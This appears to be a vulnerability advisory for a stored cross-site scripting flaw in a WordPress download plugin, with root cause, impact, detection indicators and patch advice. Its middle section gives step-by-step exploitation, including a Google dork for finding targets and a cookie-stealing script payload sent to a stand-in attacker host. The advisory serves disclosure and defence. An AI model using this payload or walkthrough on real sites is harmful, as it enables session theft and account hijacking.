CVE-2026-119156: 
WordPress vulnerability analysis and mitigation

CVE-2026-119156 is a Stored Cross-Site Scripting (XSS) vulnerability in the Download Manager plugin for WordPress, affecting all versions up to and including 7.5.9. It allows unauthenticated attackers to inject arbitrary web scripts via the wpdm_reg[first_name], wpdm_reg[last_name], and wpdm_reg[user_login] registration parameters due to insufficient input sanitization and output escaping. The vulnerability was published on November 7, 2026, and a patch has been made available. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied registration form fields are stored without adequate sanitization and later rendered unsanitized in page output. Exploitation requires three specific preconditions: (1) the WordPress site has "Anyone can register" enabled, (2) the plugin's [wpdm_reg_form] shortcode is published on a publicly accessible page, and (3) at least one package authored by user ID 1 is rendered using the Spotlight link template. The injected payload is stored server-side and executes in the browsers of any user who visits the affected page. Relevant source code locations include Register.php (lines 229, 323, 326) and link-template-spotlight.php (line 54) (GitHub Advisory, Wordfence).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of any user who accesses a page containing the injected content. This can result in session cookie theft, account hijacking, credential phishing, unauthorized actions performed on behalf of logged-in users (including administrators), and redirection to malicious external sites. The scope is marked as "Changed" in the CVSS scoring, indicating that the impact extends beyond the vulnerable component itself to affect other users' browser sessions (GitHub Advisory, Wordfence).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Wordfence). The EPSS score is 0.0, reflecting a currently low probability of exploitation in the near term. The CVE status is listed as "Deferred" and it has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify WordPress sites running the Download Manager plugin (version ≤ 7.5.9) with open user registration enabled and the [wpdm_reg_form] shortcode on a public page. Tools like WPScan or Google dorks (e.g., inurl:wpdm_reg_form) can assist.
2. Verify preconditions: Confirm that at least one downloadable package authored by user ID 1 is displayed using the Spotlight link template on a publicly accessible page.
3. Craft malicious payload: Prepare a stored XSS payload to be injected into one of the registration fields, e.g., wpdm_reg[first_name] with a value such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Submit registration form: Submit the registration form via HTTP POST to the site's registration endpoint with the crafted payload in the target parameter(s).
5. Trigger execution: Wait for an authenticated user (or administrator) to visit the page where the Spotlight link template renders the package authored by user ID 1, causing the stored script to execute in their browser.
6. Harvest results: Collect stolen session cookies or credentials from the attacker-controlled server, then use them to hijack the victim's session or escalate privileges on the WordPress site (GitHub Advisory, Wordfence).

• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting pages containing the Spotlight link template; unusual POST requests to the WordPress registration endpoint (/wp-login.php?action=register or equivalent) with abnormally long or script-containing values in wpdm_reg[first_name], wpdm_reg[last_name], or wpdm_reg[user_login] fields.
• Logs: WordPress access logs showing registration submissions with HTML/JavaScript content in name or username fields; web server logs recording requests to the registration page from automated tools or unusual user agents.
• File System / Database: WordPress wp_users or wp_usermeta tables containing entries with <script> tags or encoded JavaScript in display name, first name, last name, or username fields.
• Browser/Application: Unexpected redirects or pop-ups when authenticated users visit pages rendering the Spotlight link template for packages authored by user ID 1.

Update the Download Manager plugin to a version newer than 7.5.9, which contains the fix for this vulnerability (GitHub Advisory, WP Download Manager Changelogs). As an interim workaround, disable the "Anyone can register" setting in WordPress (Settings → General → Membership) if open registration is not required, and remove or restrict access to any pages containing the [wpdm_reg_form] shortcode. Additionally, implementing a Web Application Firewall (WAF) and enforcing Content Security Policy (CSP) headers can help reduce the risk of XSS exploitation (Wordfence).